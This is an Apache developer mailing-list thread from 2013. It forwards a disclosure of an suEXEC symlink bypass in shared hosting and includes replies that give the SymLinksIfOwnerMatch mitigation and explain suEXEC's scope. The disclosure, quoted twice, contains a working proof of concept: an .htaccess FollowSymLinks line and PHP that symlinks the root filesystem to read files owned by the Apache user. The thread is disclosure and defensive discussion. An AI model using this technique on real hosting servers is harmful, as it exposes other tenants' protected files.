You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@httpd.apache.org by Nick Edwards <ni...@gmail.com> on 2013/08/08 08:24:19 UTC
suexec privilege elevation
As per FD list post..
Does this seem valid?
FWD MESSAGE
Apache suEXEC privilege elevation / information disclosure
Discovered by Kingcope/Aug 2013
The suEXEC feature provides Apache users the ability to run CGI and SSI programs
under user IDs different from the user ID of the calling web server. Normally,
when a CGI or SSI program executes, it runs as the same user who is running the
web server.
Used properly, this feature can reduce considerably the security risks involved
with allowing users to develop and run private CGI or SSI programs.
With this bug an attacker who is able to run php or cgi code inside a web
hosting environment and the environment is configured to use suEXEC as a
protection mechanism, he/she is able to read any file and directory on the file-
system of the UNIX/Linux system with the user and group id of the
apache web server.
Normally php and cgi scripts are not allowed to read files with the apache user-
id inside a suEXEC configured environment.
Take for example this apache owned file and the php script that follows.
$ ls -la /etc/testapache
-rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
only user www-data should be able to read this file.
$ cat test.php
<?php
system("id; cat /etc/testapache");
?>
When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)
because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions error.
Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks
and a php script with the content...
<?php
system("ln -sf / test99.php");
symlink("/", "test99.php"); // try builtin function in case when
//system() is blocked
?>
in the same folder
..we can access the root filesystem with the apache uid,gid by
requesting test99.php.
The above php script will simply create a symbolic link to '/'.
A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid
The reason we can now read out any files and traverse directories owned by the
apache user is because apache httpd displays symlinks and directory listings
without querying suEXEC.
It is not possible to write to files in this case.
Version notes. Assumed is that all Apache versions are affected by this bug.
apache2 -V
Server version: Apache/2.2.22 (Debian)
Server built: Mar 4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded: APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Architecture: 32-bit
Server MPM: Worker
threaded: yes (fixed thread count)
forked: yes (variable process count)
Server compiled with....
-D APACHE_MPM_DIR="server/mpm/worker"
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=128
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
_______________________________________________
Re: suexec privilege elevation
Posted by Marian Marinov <mm...@yuhu.biz>.
On 08/08/2013 09:24 AM, Nick Edwards wrote:
> As per FD list post..
>
> Does this seem valid?
>
> FWD MESSAGE
>
>
> Apache suEXEC privilege elevation / information disclosure
>
> Discovered by Kingcope/Aug 2013
>
> The suEXEC feature provides Apache users the ability to run CGI and SSI programs
> under user IDs different from the user ID of the calling web server. Normally,
> when a CGI or SSI program executes, it runs as the same user who is running the
> web server.
> Used properly, this feature can reduce considerably the security risks involved
> with allowing users to develop and run private CGI or SSI programs.
>
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>
> Normally php and cgi scripts are not allowed to read files with the apache user-
> id inside a suEXEC configured environment.
>
> Take for example this apache owned file and the php script that follows.
>
> $ ls -la /etc/testapache
> -rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>
> $ cat test.php
> <?php
> system("id; cat /etc/testapache");
> ?>
>
> When calling the php file using a webbrowser it will show...
> uid=1002(example) gid=1002(example) groups=1002(example)
>
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions error.
>
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>
> and a php script with the content...
>
> <?php
> system("ln -sf / test99.php");
> symlink("/", "test99.php"); // try builtin function in case when
> //system() is blocked
> ?>
> in the same folder
>
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
> It is not possible to write to files in this case.
>
> Version notes. Assumed is that all Apache versions are affected by this bug.
>
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built: Mar 4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded: APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture: 32-bit
> Server MPM: Worker
> threaded: yes (fixed thread count)
> forked: yes (variable process count)
> Server compiled with....
> -D APACHE_MPM_DIR="server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_LOGS
> -D DYNAMIC_MODULE_LIMIT=128
> -D HTTPD_ROOT="/etc/apache2"
> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> -D DEFAULT_ERRORLOG="logs/error_log"
> -D AP_TYPES_CONFIG_FILE="mime.types"
> -D SERVER_CONFIG_FILE="apache2.conf"
>
> _______________________________________________
>
>
This is a very well known issue in the shared hosting circles.
I don't think anyone should be surprised about that.
This attack is known since 2006-2007 and the solution is to prevent the usage of FollowSymlinks and to replace it with
SymLinksIfOwnerMatch. The attack has been used even before 2006.
Most webhosts either patch their apache servers to map FollowSymlinks to SymLinksIfOwnerMatch or do not allow
FollowSymlinks.
If you search in the lists archives, you will find quite a few discussions about that.
Marian
Re: suexec privilege elevation
Posted by Eric Covener <co...@gmail.com>.
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
Displaying symlinks and directory listings is not a "reason". suEXEC
changes the ID for executable content only. This is not executable
content, it's content owned and readable by www-data that is symlinked
into a web-accessible directory.